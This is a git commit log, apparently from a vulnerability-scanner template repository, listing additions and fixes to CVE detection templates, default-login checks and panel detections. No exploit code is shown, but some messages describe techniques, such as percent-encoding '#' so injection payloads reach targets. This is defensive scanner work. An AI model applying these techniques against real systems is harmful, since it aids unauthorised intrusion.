ghost e536fd003c chore: generate templates checksum 🤖 2026-07-21 15:16:32 +00:00
ghost 5cb4738c37 chore: generate new addition list 🤖 2026-07-21 15:15:09 +00:00
ghost 665ca830d9 chore: generate CVEs metadata 🤖 2026-07-21 15:14:24 +00:00
ghost 8364376377 chore: sign templates 🤖 2026-07-21 15:14:21 +00:00
Ritik Chaddha f0b174087b Merge pull request #16572 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-52773.yaml - YesWiki Archived Revision - Reflected XSS
2026-07-21 20:43:58 +05:30
ghost 28701a1efe chore: sign templates 🤖 2026-07-21 15:13:49 +00:00
Ritik Chaddha d3ad4804b4 Update CVE-2026-3296.yaml 2026-07-21 20:43:48 +05:30
ghost 211897826b chore: generate new addition list 🤖 2026-07-21 15:13:34 +00:00
Ritik Chaddha 9283582017 Merge pull request #16580 from projectdiscovery/16576-FALSE-POSITIVE]-Mailpit-<-1.28.2---SMTP-CRLF-Injection-CVE-2026-23829
[FIX FALSE-POSITIVE] Mailpit < 1.28.2 - SMTP CRLF Injection (CVE-2026-23829)
2026-07-21 20:43:28 +05:30
ghost e78d527291 chore: generate CVEs metadata 🤖 2026-07-21 15:12:54 +00:00
ghost f892e74033 chore: sign templates 🤖 2026-07-21 15:12:50 +00:00
Ritik Chaddha dcdb0c3535 Merge pull request #16594 from projectdiscovery/CVE-2026-15409
CVE-2026-15409 - SonicWall SMA1000 - Unauthenticated SSRF via WebSocket Proxy
2026-07-21 20:42:28 +05:30
Dhiyaneshwaran 5d87b691c2 Refine Unix Command Injection detection configuration
Updated the Unix Command Injection YAML configuration to enhance clarity and detail in the detection process. Adjusted payloads and regex patterns for improved accuracy and added new references.
2026-07-21 20:39:59 +05:30
Ritik Chaddha 528c71f759 Merge branch 'main' into 16576-FALSE-POSITIVE]-Mailpit-<-1.28.2---SMTP-CRLF-Injection-CVE-2026-23829 2026-07-21 20:38:49 +05:30
Ritik Chaddha 3fd1ad6fa8 Update CVE-2026-52773.yaml 2026-07-21 20:38:41 +05:30
Ritik Chaddha 3fefcf558f Update CVE-2026-15409.yaml 2026-07-21 20:37:05 +05:30
Ritik Chaddha 8edc684b96 Update CVE-2026-3296.yaml 2026-07-21 20:36:15 +05:30
wujiecong 86279ec839 Add CNVD-2021-35876 Alibaba Sentinel - Default Login 2026-07-21 22:04:20 +08:00
ghost b017d7eb92 chore: sign templates 🤖 2026-07-21 13:36:13 +00:00
Dhiyaneshwaran e4bba23f31 Merge pull request #16614 from kazet/severity-fix-a7dfec36609d
Severity fix
2026-07-21 19:05:52 +05:30
Dhiyaneshwaran 794b030f81 Update directory-listing-no-host-header.yaml 2026-07-21 18:57:00 +05:30
ghost 33e8d30ac3 chore: sign templates 🤖 2026-07-21 13:01:47 +00:00
Dhiyaneshwaran 2884726c69 Merge pull request #16620 from projectdiscovery/co-author-fix
Update author field for CVE-2024-23108
2026-07-21 18:31:27 +05:30
ghost 429f7b4d10 chore: generate new addition list 🤖 2026-07-21 12:54:02 +00:00
ghost 93c6b37dee chore: generate CVEs metadata 🤖 2026-07-21 12:53:06 +00:00
ghost 47f675833e chore: sign templates 🤖 2026-07-21 12:53:03 +00:00
pussycat0x d3be30ee65 Merge pull request #16555 from panchiko-p/add_CVE-2026-56290
Add template for CVE-2026-56290 unauthenticated file upload detection
2026-07-21 18:22:42 +05:30
ghost 8dd28f475f chore: generate new addition list 🤖 2026-07-21 11:16:21 +00:00
ghost b56ba315dc chore: sign templates 🤖 2026-07-21 11:15:39 +00:00
pussycat0x 578d5d691a Merge pull request #16617 from projectdiscovery/Akokonunes-patch-7
Create 9router-default-login.yaml
2026-07-21 16:45:16 +05:30
ghost 2528361125 chore: generate new addition list 🤖 2026-07-21 10:14:26 +00:00
ghost eba813853b chore: sign templates 🤖 2026-07-21 10:13:39 +00:00
Dhiyaneshwaran 842c064c78 Merge pull request #16608 from Th3l0newolf/Deskpro-OPC
Add Deskpro On-Premise Controller default page detection
2026-07-21 15:43:18 +05:30
Dhiyaneshwaran 36bd0d74a5 Rename deskpro-on-premise-controller-panel-default-page.yaml to deskpro-on-default-page.yaml 2026-07-21 15:35:38 +05:30
Dhiyaneshwaran cc18c3fa9b Update deskpro-on-premise-controller-panel-default-page.yaml 2026-07-21 15:35:16 +05:30
Dhiyaneshwaran 5931ac277c Update CVE-2023-34992 YAML with detailed info 2026-07-21 15:18:15 +05:30
Dhiyaneshwaran c4da04fbde Update author field for CVE-2024-23108 2026-07-21 15:13:57 +05:30
pussycat0x a2e1d17dc7 Update deskpro-on-premise-controller-panel-default-page.yaml 2026-07-21 14:44:51 +05:30
Aman Rawat 8e303bbee3 Update directory-listing-no-host-header.yaml 2026-07-21 11:05:42 +05:30
ghost 47b5b37845 chore: generate new addition list 🤖 2026-07-21 05:35:20 +00:00
ghost dcf7110b27 chore: generate new addition list 🤖 2026-07-21 05:35:12 +00:00
ghost f80bc11d4d chore: sign templates 🤖 2026-07-21 05:34:36 +00:00
Aman Rawat cd8e02ff3c Merge pull request #16615 from projectdiscovery/CVE-2026-52824
CVE-2026-52824 - Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass
2026-07-21 11:04:17 +05:30
Aman Rawat 1516b96c58 Merge pull request #16609 from Aryu-RU/add-cve-2026-1980
Add CVE-2026-1980 - WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure
2026-07-21 11:04:06 +05:30
Roberto Nunes eb69a3bcbb Clarify security risk in default login description
Updated the description to clarify the security risk associated with default credentials.
2026-07-21 14:12:02 +09:00
Roberto Nunes 740e611f2d Create 9router-default-login.yaml 2026-07-21 14:03:11 +09:00
orbisai0security 65b6fd477c fix: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value security vulnerability
Automated security fix generated by OrbisAI Security
2026-07-21 04:22:43 +00:00
ghost 90e6fb6f33 chore: generate new addition list 🤖 2026-07-21 04:19:18 +00:00
ghost 0ac024a418 chore: generate CVEs metadata 🤖 2026-07-21 04:18:29 +00:00
Roberto Nunes 19695cb71e Merge pull request #16599 from SmigsDeLaMigs/cve-2026-15094
CVE-2026-15094 - WP Hotel Booking <= 2.3.2 - Reflected Cross-Site Scr…
2026-07-21 13:18:10 +09:00
ghost a5f5258f5f chore: update KEV and vKEV tags and metadata 🤖 2026-07-21 04:04:36 +00:00
ghost 1bcc5eda27 chore: generate new addition list 🤖 2026-07-21 04:01:38 +00:00
ghost 4cf69bad7a chore: sign templates 🤖 2026-07-21 04:01:23 +00:00
Roberto Nunes a4329400d4 Merge pull request #16592 from daffainfo/patch-796106
Rename smb-default-creds to smb-default-login
2026-07-21 13:01:04 +09:00
ghost 48f40e874c chore: sign templates 🤖 2026-07-21 04:00:51 +00:00
ghost 767b97cdb9 chore: generate CVEs metadata 🤖 2026-07-21 04:00:47 +00:00
Roberto Nunes 7b9b4cb79d Merge pull request #16610 from projectdiscovery/CVE-2026-46442
CVE-2026-46442 - Flowise < 3.1.2 - node-custom-function Unauthorized RCE
2026-07-21 13:00:31 +09:00
ghost df6065226b chore: generate new addition list 🤖 2026-07-21 04:00:21 +00:00
ghost f59ca17b5d chore: sign templates 🤖 2026-07-21 03:59:43 +00:00
ghost 09f4940688 chore: generate CVEs metadata 🤖 2026-07-21 03:59:35 +00:00
Roberto Nunes 6353f22356 Merge pull request #16606 from projectdiscovery/CVE-2026-54836
CVE-2026-54836 - YMC Filter - SQL Injection
2026-07-21 12:59:16 +09:00
Roberto Nunes 0241bcdb06 Update CVE-2026-1980.yaml 2026-07-21 12:55:05 +09:00
Roberto Nunes 1fe22abcf0 Update CVE-2026-1980.yaml 2026-07-21 12:48:29 +09:00
ghost e25330ed8c chore: update EPSS scores 🤖 2026-07-21 03:00:38 +00:00
Roberto Nunes f6302af90c Update CVE-2026-56290.yaml 2026-07-21 11:43:23 +09:00
Dhiyaneshwaran 570c4232d2 CVE-2026-52824 - Kimai <= 2.57.0 - Default APP_SECRET Authentication Bypass 2026-07-20 22:16:25 +05:30
ghost 2935d63aeb chore: sign templates 🤖 2026-07-20 15:33:39 +00:00
pussycat0x c419912f87 Merge pull request #16575 from sec-mlot/patch-3
fix: unauthenticated-jenkins matcher covers both title variants
2026-07-20 21:03:14 +05:30
ghost 7fcb6009d0 chore: generate new addition list 🤖 2026-07-20 15:00:28 +00:00
pussycat0x 81db78ddb0 Update unauthenticated-jenkins.yaml 2026-07-20 20:30:17 +05:30
ghost f2c837e0d0 chore: sign templates 🤖 2026-07-20 14:59:40 +00:00
pussycat0x fbe8fad501 Merge pull request #16607 from Th3l0newolf/Deskpro
Deskpro Private Controller default page detection
2026-07-20 20:29:20 +05:30
ghost f9c5f612c9 chore: generate new addition list 🤖 2026-07-20 14:58:19 +00:00
ghost 8f656c25de chore: sign templates 🤖 2026-07-20 14:57:36 +00:00
pussycat0x abcf295049 Merge pull request #16593 from projectdiscovery/sonicwall-panel
SonicWall Secure Mobile Access (SMA) Panel - Detection
2026-07-20 20:27:10 +05:30
ghost 251aa17b77 chore: generate new addition list 🤖 2026-07-20 12:23:26 +00:00
ghost 54b59dd638 chore: sign templates 🤖 2026-07-20 12:22:44 +00:00
Dhiyaneshwaran 34b2b23142 Merge pull request #16438 from hdm/ai-llm-detect-templates
Add AI/LLM inference + MCP server detection templates
2026-07-20 17:52:23 +05:30
Krzysztof Zając ebf2208754 Severity fix 2026-07-20 13:58:18 +02:00
ghost 8667c483a6 chore: generate new addition list 🤖 2026-07-20 09:04:14 +00:00
ghost 990ef1e358 chore: generate CVEs metadata 🤖 2026-07-20 09:03:34 +00:00
Aman Rawat 33c89606a8 Merge pull request #16611 from projectdiscovery/CVE-2026-8732
CVE-2026-8732 - WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation
2026-07-20 14:33:12 +05:30
Dhiyaneshwaran 2a40b5b5a6 CVE-2026-3296 - Everest Forms WordPress Plugin <= 3.4.3 - Unauthenticated PHP Object Injection 2026-07-20 14:18:58 +05:30
Th3l0newolf [ Chinmay Divekar] 3f8a7c4bbb Add Chatwoot Login Panel detection 2026-07-20 01:38:54 -07:00
Ritik Chaddha f10eb8733e updated matchers & added flow 2026-07-20 13:48:03 +05:30
Dhiyaneshwaran 677e9842f4 CVE-2026-8732 - WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation 2026-07-20 13:41:04 +05:30
Dhiyaneshwaran 546acdb800 CVE-2026-46442 - Flowise < 3.1.2 - node-custom-function Unauthorized RCE 2026-07-20 13:10:06 +05:30
Aryu-RU 585fa59913 Add CVE-2026-1980 - WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure 2026-07-20 07:13:01 +00:00
ghost 36ad6634de chore: generate new addition list 🤖 2026-07-20 07:12:27 +00:00
ghost df7b9ebe91 chore: sign templates 🤖 2026-07-20 07:11:43 +00:00
Aman Rawat 5f6ee0aa2b Merge pull request #16584 from halilkirazkaya/halilkirazkaya-patch-5
add bizzy panel
2026-07-20 12:41:21 +05:30
Aman Rawat 0cdb3899c7 Update torchserve-detect.yaml 2026-07-20 12:29:36 +05:30
ghost d917db5843 chore: sign templates 🤖 2026-07-20 06:56:09 +00:00
Ritik Chaddha 261ab99403 added co-author 2026-07-20 12:25:49 +05:30
Dhiyaneshwaran 5c06a8c288 Update and rename deskpro-private-controller-panel-default-page.yaml to deskpro-default-page.yaml 2026-07-20 12:24:17 +05:30
Aman Rawat 2e3a25bb29 Update 2026-07-20 12:14:22 +05:30
Aman Rawat a312518c16 Update 2026-07-20 11:50:24 +05:30
Aman Rawat 02c7a068fd Removed duplicate templates 2026-07-20 11:40:58 +05:30
Aman Rawat f7984febf9 Update CVE-2026-42796.yaml 2026-07-20 11:27:41 +05:30
ghost b36c0b3b44 chore: generate new addition list 🤖 2026-07-20 05:49:27 +00:00
ghost 21686c66fc chore: generate CVEs metadata 🤖 2026-07-20 05:48:43 +00:00
Th3l0newolf [ Chinmay Divekar] a7c513fab6 Add Deskpro On-Premise Controller default page detection 2026-07-19 22:48:42 -07:00
ghost 7cbb79a794 chore: sign templates 🤖 2026-07-20 05:48:41 +00:00
Dhiyaneshwaran d820d40050 Merge pull request #16604 from projectdiscovery/Akokonunes-patch-7
Clarify CVE-2026-9282.yaml - W3 Total Cache <= 2.9.4 - Unauthenticated Arbitrary File Read
2026-07-20 11:18:22 +05:30
Th3l0newolf [ Chinmay Divekar] fefde09089 Deskpro Private Controller default page detection
Added detection for Deskpro Private Controller default page.
2026-07-19 22:27:50 -07:00
Aman Rawat 39ea466b93 Create CVE-2026-54836.yaml 2026-07-20 10:56:10 +05:30
Aman Rawat 6a35c5d20c Update CVE-2026-15094.yaml 2026-07-20 10:52:57 +05:30
ghost 59fba5c0f9 chore: sign templates 🤖 2026-07-20 05:19:18 +00:00
Roberto Nunes c0e288a783 Merge pull request #16590 from daffainfo/patch-586159
Enhance CVE-2024-22476 YAML
2026-07-20 14:18:54 +09:00
dependabot[bot] e45889898b chore(deps): bump actions/setup-python from 6 to 7
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 6 to 7.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2026-07-20 05:15:17 +00:00
Dhiyaneshwaran 84c178e0dd Merge branch 'main' into patch-586159 2026-07-20 10:42:37 +05:30
Dhiyaneshwaran 1a7dfb4029 Update bizzy-panel.yaml for login detection 2026-07-20 10:41:18 +05:30
Dhiyaneshwaran 9800425de3 Update bizzy-panel.yaml 2026-07-20 10:35:38 +05:30
ghost 580a208917 chore: sign templates 🤖 2026-07-20 05:02:11 +00:00
Roberto Nunes 494c465903 Merge pull request #16589 from projectdiscovery/flow-preventing-req
prevent creds-stuffing/token-spray templates from sending requests wi…
2026-07-20 14:01:50 +09:00
ghost 2e02d8b531 chore: sign templates 🤖 2026-07-20 05:01:36 +00:00
Roberto Nunes 23f1a41e35 Merge pull request #16551 from zy9ard3/main
wix takeover fingerprint update
2026-07-20 14:01:12 +09:00
Roberto Nunes 919f146645 Clarify CVE-2026-9282 entry name
Updated the CVE entry name for clarity.
2026-07-20 13:19:54 +09:00
ghost d09fb91884 chore: update EPSS scores 🤖 2026-07-20 03:00:20 +00:00
zer0p0int 68494b26a1 Add CVE-2026-7467 Read More & Accordion Privilege Escalation template 2026-07-19 17:24:18 +08:00
zer0p0int b2ccdb84fa Make zer0p0int contributor profile discoverable
Add the verified GitHub identity while leaving unavailable social fields empty.

Constraint: Only publicly verified profile data is included
Confidence: high
Scope-risk: narrow
Tested: Parsed contributors.json and verified one matching author entry
Not-tested: Repository-wide template validation
2026-07-19 15:56:57 +08:00
ghost 010b0aa4fa chore: update KEV and vKEV tags and metadata 🤖 2026-07-19 04:10:42 +00:00
ghost 0d3624787c chore: update EPSS scores 🤖 2026-07-19 03:00:52 +00:00
SmigsBellamigs 909cd87188 CVE-2026-15094 - WP Hotel Booking <= 2.3.2 - Reflected Cross-Site Scripting via 'check_in_date' Parameter
Nuclei Template for CVE 2026 15094 - The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
2026-07-18 20:42:10 +01:00
Aman Rawat c33446f92b Update CVE-2026-33497.yaml 2026-07-18 14:12:07 +05:30
Aman Rawat 2b609857e7 Update wix-takeover.yaml 2026-07-18 13:47:35 +05:30
Aman Rawat 6487ee18ca Update unauthenticated-jenkins.yaml 2026-07-18 13:43:58 +05:30
ghost 832b30ce23 chore: generate new addition list 🤖 2026-07-18 08:13:37 +00:00
ghost 1d359d6c74 chore: sign templates 🤖 2026-07-18 08:12:59 +00:00
ghost 0dbaee201f chore: generate CVEs metadata 🤖 2026-07-18 08:12:50 +00:00
Aman Rawat 9de76bc955 Merge pull request #16569 from Nivid42/add-cve-2026-56291
Add CVE-2026-56291: Balbooa Forms < 2.4.1 Unauthenticated File Upload
2026-07-18 13:42:33 +05:30
ghost 9934d99544 chore: update KEV and vKEV tags and metadata 🤖 2026-07-18 04:01:20 +00:00
ghost 7fb33ee70a chore: update EPSS scores 🤖 2026-07-18 03:00:11 +00:00
ghost c100704bda chore: generate new addition list 🤖 2026-07-18 01:44:45 +00:00
ghost 441aebbcf0 chore: generate CVEs metadata 🤖 2026-07-18 01:44:09 +00:00
ghost 6e2ddeee73 chore: sign templates 🤖 2026-07-18 01:44:02 +00:00
Sandeep Singh 9e6cb912c9 Added WordPress Core 6.9-7.0.1 - Pre-Auth Blind SQL Injection (CVE-2026-63030) (#16596) 2026-07-18 07:13:40 +05:30
ghost 3a1f8a1063 chore: generate new addition list 🤖 2026-07-17 14:25:53 +00:00
ghost c346859cc2 chore: sign templates 🤖 2026-07-17 14:25:09 +00:00
Dhiyaneshwaran 95ffb32150 Merge pull request #16588 from Eren-Akdag/fix/open-proxy-portscan-false-positive
fix(open-proxy-portscan): reject HTML bodies to prevent WAF false positives
2026-07-17 19:54:49 +05:30
Dhiyaneshwaran f0a30103a1 CVE-2026-15409 - SonicWall SMA1000 - Unauthenticated SSRF via WebSocket Proxy 2026-07-17 18:57:57 +05:30
Aryu-RU b5b5f1419f Add CVE-2026-58138 - Orkes Conductor unauthenticated RCE 2026-07-17 13:10:51 +00:00
Dhiyaneshwaran 08f3a0af5a Update shodan and fofa queries for SonicWall SMA 2026-07-17 18:34:08 +05:30
Dhiyaneshwaran 42e3f39fb8 SonicWall Secure Mobile Access (SMA) Panel - Detection 2026-07-17 18:19:49 +05:30
Muhammad Daffa b9f18fb3fd Rename smb-default-creds to smb-default-login 2026-07-17 17:38:20 +07:00
Muhammad Daffa 435d278c22 Enhance CVE-2024-22476 YAML 2026-07-17 13:45:10 +07:00
Prince Chaddha 9ae718ebfc prevent creds-stuffing/token-spray templates from sending requests without input (#11238) 2026-07-17 10:26:34 +04:00
ghost 2cb2ea94fc chore: generate new addition list 🤖 2026-07-17 04:45:04 +00:00
ghost dc9d751afc chore: sign templates 🤖 2026-07-17 04:44:27 +00:00
ghost 20bd082b10 chore: generate CVEs metadata 🤖 2026-07-17 04:44:21 +00:00
Roberto Nunes 21053487e0 Merge pull request #16578 from m4sh-wacker/patch-3
Add CVE-2026-3891 template for Pix for WooCommerce arbitrary file upload
2026-07-17 13:44:03 +09:00
Roberto Nunes 50f9c83481 Merge pull request #16566 from l46983284-cpu/fix/cve-2026-23550-trailing-slash
fix(CVE-2026-23550): avoid FN on WordPress trailing-slash redirects
2026-07-17 13:43:58 +09:00
ghost 0f30c6aa72 chore: update KEV and vKEV tags and metadata 🤖 2026-07-17 04:02:31 +00:00
ghost fd852e3c3e chore: update EPSS scores 🤖 2026-07-17 03:00:04 +00:00
Roberto Nunes 4b334ee23f Revise CVE-2026-56291 for full exploit template
Updated author, description, impact, and remediation details for CVE-2026-56291. Added variables and modified HTTP request structure.
2026-07-17 11:48:41 +09:00
Eren-Akdag 8e6fd228e2 fix(open-proxy-portscan): reject HTML responses to prevent false positives from WAF/filter block pages
A WAF/content-filter appliance in front of a target can return a generic
HTML block page for the abnormal absolute-URI probe requests used by this
template. If that static page coincidentally contains one of the
differential keywords (e.g. inside an embedded base64 asset), the matcher
fires even though no internal service was actually reached. Reject any
body that looks like an HTML document before accepting a match.
2026-07-17 02:58:45 +03:00
Prince Chaddha c476505d73 Revert "fix: encode payload-bearing # as %23 in query-string injections (#8909)"
This reverts commit 040458a6fc.
2026-07-16 23:19:51 +04:00
Prince ChaddhaandClaude Opus 4.8 040458a6fc fix: encode payload-bearing # as %23 in query-string injections (#8909)
Nuclei correctly strips URL fragments (per RFC 3986) before sending
requests, so a literal '#' used as a SQL/shell comment terminator inside
a query string never reaches the target. Percent-encoding it as %23
sends the byte on the wire without needing unsafe: true.

- CVE-2020-22208: MySQL comment '#' -> '%23' (truncates trailing query)
- CVE-2023-30258: shell comment '#' -> '%23' (both http(1)/http(2) paths)

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
2026-07-16 23:19:05 +04:00
ghost df786fd3bf chore: generate templates stats 🤖 2026-07-16 18:55:49 +00:00
Aryu-RU f6fe15249c Add CVE-2026-42796 Arelle unauthenticated RCE template 2026-07-16 13:53:00 +00:00
halilkirazkaya aa87818989 Fix typo in login URL path 2026-07-16 16:37:55 +03:00
halilkirazkaya 7dd0d0dba6 Add bizzy-panel.yaml for BIZZY login detection 2026-07-16 16:32:17 +03:00
Dhiyaneshwaran d177b8dc0a Update CVE-2026-56291.yaml 2026-07-16 17:47:07 +05:30
Dhiyaneshwaran fef7b96514 Update CVE-2026-3891.yaml with detailed vulnerability info
The CVE-2026-3891.yaml file has been updated to provide a more detailed description of the vulnerability, including the impact and remediation steps. Additionally, the HTTP request steps have been revised for better clarity and functionality.
2026-07-16 17:26:10 +05:30
ghost 7d66fa06cc chore: sign templates 🤖 2026-07-16 10:56:57 +00:00
Roberto Nunes 3b97f2367d Merge pull request #16571 from idealphase/main
Update authors and add another actuator HTTP path
2026-07-16 19:56:38 +09:00
ghost 0d9bdcb7b1 chore: generate new addition list 🤖 2026-07-16 09:57:41 +00:00
ghost eb5c5f332a chore: sign templates 🤖 2026-07-16 09:56:22 +00:00
ghost 8031e3d13e chore: generate CVEs metadata 🤖 2026-07-16 09:56:18 +00:00
Aman Rawat 60304c6c51 Merge pull request #16582 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8386.yaml - WP Go Maps < 10.0.10 - Unauthenticated Marker Information Disclosure
2026-07-16 15:25:59 +05:30
Dhiyaneshwaran c51b2c6f7f Add status matcher back to Jolokia YAML file 2026-07-16 15:24:00 +05:30
ghost 4fa6768bf2 chore: generate new addition list 🤖 2026-07-16 09:41:48 +00:00
ghost d692bd22b2 chore: sign templates 🤖 2026-07-16 09:41:03 +00:00
Dhiyaneshwaran ec66477bcf Merge pull request #16570 from rxerium/add-qualys-cloud-platform-login
Add Qualys Cloud Platform login panel
2026-07-16 15:10:42 +05:30
Roberto Nunes 5b4a024e3b Create CVE-2026-8386.yaml 2026-07-16 15:59:45 +09:00
iamatownboy fe3fc9d193 Add CVE-2026-30623 template 2026-07-16 15:56:49 +09:00
Th3l0newolf [ Chinmay Divekar] cd95a969ff Add files via upload 2026-07-15 22:28:59 -07:00
ghost 02c06f6296 chore: update EPSS scores 🤖 2026-07-16 03:00:08 +00:00
Roberto Nunes 2e9703c504 Refactor matchers to use regex for response codes 2026-07-16 11:03:03 +09:00
Cole Munz 1b54de6c44 fix: reduce false negatives in exposed-zookeeper template
The existing check only sends the envi four-letter word command, which is
blocked by default since ZooKeeper 3.5.3 unless explicitly whitelisted, so a
stock server reports not-vulnerable even when fully readable. Add a second
request speaking the ZooKeeper client wire protocol (connect handshake plus a
getChildren call on /) to confirm unauthenticated read access to the znode
tree regardless of the 4lw whitelist.

Closes #11076
2026-07-15 16:10:15 -05:00
Mohammad Hossein Sadeghian c6e538b16d Create CVE-2026-3891.yaml 2026-07-15 23:31:51 +03:30
sec-mlot 249f075d65 fix: unauthenticated-jenkins matcher covers both title variants
In newer versions of Jenkins (e.g. 2.541.1) the dashboard page title changed from Dashboard [Jenkins] to Dashboard - Jenkins, causing the current word matcher to produce false negatives. Updated the matcher to cover both variants.
2026-07-15 14:57:46 +02:00
ghost 6bfef5eb29 chore: generate templates checksum 🤖 2026-07-15 12:24:34 +00:00
ghost f50e489ca4 chore: sign templates 🤖 2026-07-15 12:21:57 +00:00
Aman Rawat 0c920579b2 Merge pull request #16535 from eloydegen/add-dkim-selectors
Add selectors to dkim-record-detect.yaml
2026-07-15 17:51:37 +05:30
ghost 1482f62c61 chore: generate templates checksum 🤖 2026-07-15 07:20:23 +00:00
ghost bc4a19d8ac chore: generate new addition list 🤖 2026-07-15 07:18:21 +00:00
ghost 5e5a4a501f chore: sign templates 🤖 2026-07-15 07:17:40 +00:00
ghost fa5fabec5e chore: generate CVEs metadata 🤖 2026-07-15 07:17:33 +00:00
pussycat0x 643972f954 Merge pull request #16573 from projectdiscovery/Akokonunes-patch-11
Add CVE-2026-59801.yaml - 9Router - Unauthenticated LLM Provider API Exposure
2026-07-15 12:47:17 +05:30
infosec-asish 62ee3f17f4 fix dsl matcher updates 2026-07-15 10:22:29 +05:30
infosec-asish 310fc4c85b fix(langfuse): update health endpoint matcher for strict JSON parsing 2026-07-15 10:13:55 +05:30
infosec-asish 49418cd841 fix(langfuse): update health endpoint matcher for strict JSON parsing 2026-07-15 10:11:03 +05:30
ghost 490586283f chore: generate templates checksum 🤖 2026-07-15 04:34:55 +00:00
ghost bba0a48d37 chore: generate new addition list 🤖 2026-07-15 04:33:01 +00:00
ghost a25b6e94f8 chore: generate CVEs metadata 🤖 2026-07-15 04:32:20 +00:00
ghost e9360e2b2c chore: sign templates 🤖 2026-07-15 04:32:16 +00:00
Dhiyaneshwaran 22880abb8d Merge pull request #16564 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-46339.yaml - 9Router <= 0.4.36 - Unauthenticated RCE
2026-07-15 10:01:57 +05:30
Roberto Nunes ea54404a47 Add CVE-2026-59801 vulnerability details
CVE-2026-59801 details an unauthenticated access vulnerability in 9Router, allowing remote attackers to manipulate provider connections. It includes remediation steps and references for further information.
2026-07-15 12:11:21 +09:00
ghost 69a5a3cf92 chore: update EPSS scores 🤖 2026-07-15 02:59:53 +00:00
Roberto Nunes 6db58ff1eb Create CVE-2026-52773.yaml 2026-07-15 11:54:24 +09:00
idealphase 0650a529b1 Update authors and add another actuator HTTP path
add actuator
2026-07-14 22:59:43 +07:00
Alex Chen 4de30dc8f3 fix(CVE-2026-23550): request canonical trailing-slash login path
Signed-off-by: Alex Chen <[email protected]>
2026-07-14 18:29:53 +03:00
rxerium 6280a6ff16 Add Qualys Cloud Platform login panel 2026-07-14 16:16:08 +01:00
Nick Vidovic ddc1dc7f71 Add CVE-2026-56291: Balbooa Forms < 2.4.1 Unauthenticated File Upload 2026-07-14 16:04:54 +02:00
ArjunBasnet fd6f6141ac Add 9 CVE detection templates
CVE-2016-3714 (ImageMagick / ImageTragick - delegate command injection)
CVE-2017-7504 (JBossMQ HTTPServerILServlet - Java deserialization)
CVE-2018-10933 (libssh - authentication bypass, version fingerprint)
CVE-2018-15708 (Nagios XI < 5.5.7 - MagpieRSS argument injection)
CVE-2019-8942  (WordPress < 5.0.1 - authenticated path traversal)
CVE-2019-11043 (PHP-FPM path_info buffer underflow - RCE)
CVE-2019-17554 (Apache Olingo 4.x - XXE)
CVE-2020-2555  (Oracle Coherence T3 - deserialization, version fingerprint)
CVE-2020-10221 (rConfig <= 3.9.4 - authenticated OS command injection)
2026-07-14 13:25:39 +00:00
Dominique RIGHETTO 18ad3bd18f Add files via upload 2026-07-14 09:46:12 +02:00
ghost a5c2e8e4da chore: generate templates checksum 🤖 2026-07-14 07:10:14 +00:00
ghost bdfed11427 chore: generate new addition list 🤖 2026-07-14 07:08:05 +00:00
ghost 50ad4b7797 chore: sign templates 🤖 2026-07-14 07:08:01 +00:00
Ritik Chaddha eba752ed47 Merge pull request #16541 from niranc/patch-2
Update MinIO default login configuration
2026-07-14 12:37:39 +05:30
ghost 3283b3b59f chore: generate CVEs metadata 🤖 2026-07-14 07:07:31 +00:00
ghost dfe592261a chore: sign templates 🤖 2026-07-14 07:07:24 +00:00
Ritik Chaddha 7daafe491b Merge pull request #16542 from Voorivex/CVE-2026-50229
Add CVE-2026-50229 Apache Tomcat Number Guess XSS template
2026-07-14 12:37:01 +05:30
ghost 2455379e45 chore: update EPSS scores 🤖 2026-07-14 02:59:22 +00:00
Roberto Nunes 40fdc821fb Add CVE-2026-46339 YAML file for unauthenticated RCE 2026-07-14 11:06:01 +09:00
ghost 0a72cc3e64 chore: generate templates checksum 🤖 2026-07-14 00:07:43 +00:00
ghost b71b9f7f37 chore: sign templates 🤖 2026-07-14 00:05:11 +00:00
Roberto Nunes b7f0eae144 Merge pull request #16560 from daffainfo/patch-416616
Rename unauth-cluster-trino to trino-unauth-cluster
2026-07-14 09:04:49 +09:00
pepe d22843ac75 Add CVE-2026-33497 for Langflow path traversal vulnerability 2026-07-13 23:17:20 +03:00
ghost 37142f1283 chore: generate templates checksum 🤖 2026-07-13 19:26:27 +00:00
ghost f181afe63e chore: generate new addition list 🤖 2026-07-13 19:24:27 +00:00
ghost 720028f8ea chore: sign templates 🤖 2026-07-13 19:23:42 +00:00
Aman Rawat 189a7b46ae Merge pull request #16533 from Th3l0newolf/apache-solr
Add Bitnami Apache Solr Stack technology detection
2026-07-14 00:53:21 +05:30
ghost ae78112237 chore: generate templates checksum 🤖 2026-07-13 18:43:14 +00:00
ghost 55c8a83cc5 chore: sign templates 🤖 2026-07-13 18:40:23 +00:00
Ritik Chaddha 7680bc8361 Merge pull request #16545 from mrperfectkarak-svg/patch-5
Update regex for company field in CVE-2026-1731
2026-07-14 00:09:59 +05:30
Ritik Chaddha 451fd59ccb Update CVE-2026-50229.yaml 2026-07-14 00:08:41 +05:30
Ritik Chaddha 163ae69541 Update minio-default-login.yaml 2026-07-14 00:07:29 +05:30
ghost c9661214f7 chore: generate templates checksum 🤖 2026-07-13 18:35:19 +00:00
ghost b39b7ca0ef chore: sign templates 🤖 2026-07-13 18:34:27 +00:00
Ritik Chaddha cc159353e5 Merge pull request #16500 from projectdiscovery/fix-false-positive-nextjs
Update CVE-2024-34351.yaml with new configurations
2026-07-14 00:04:03 +05:30
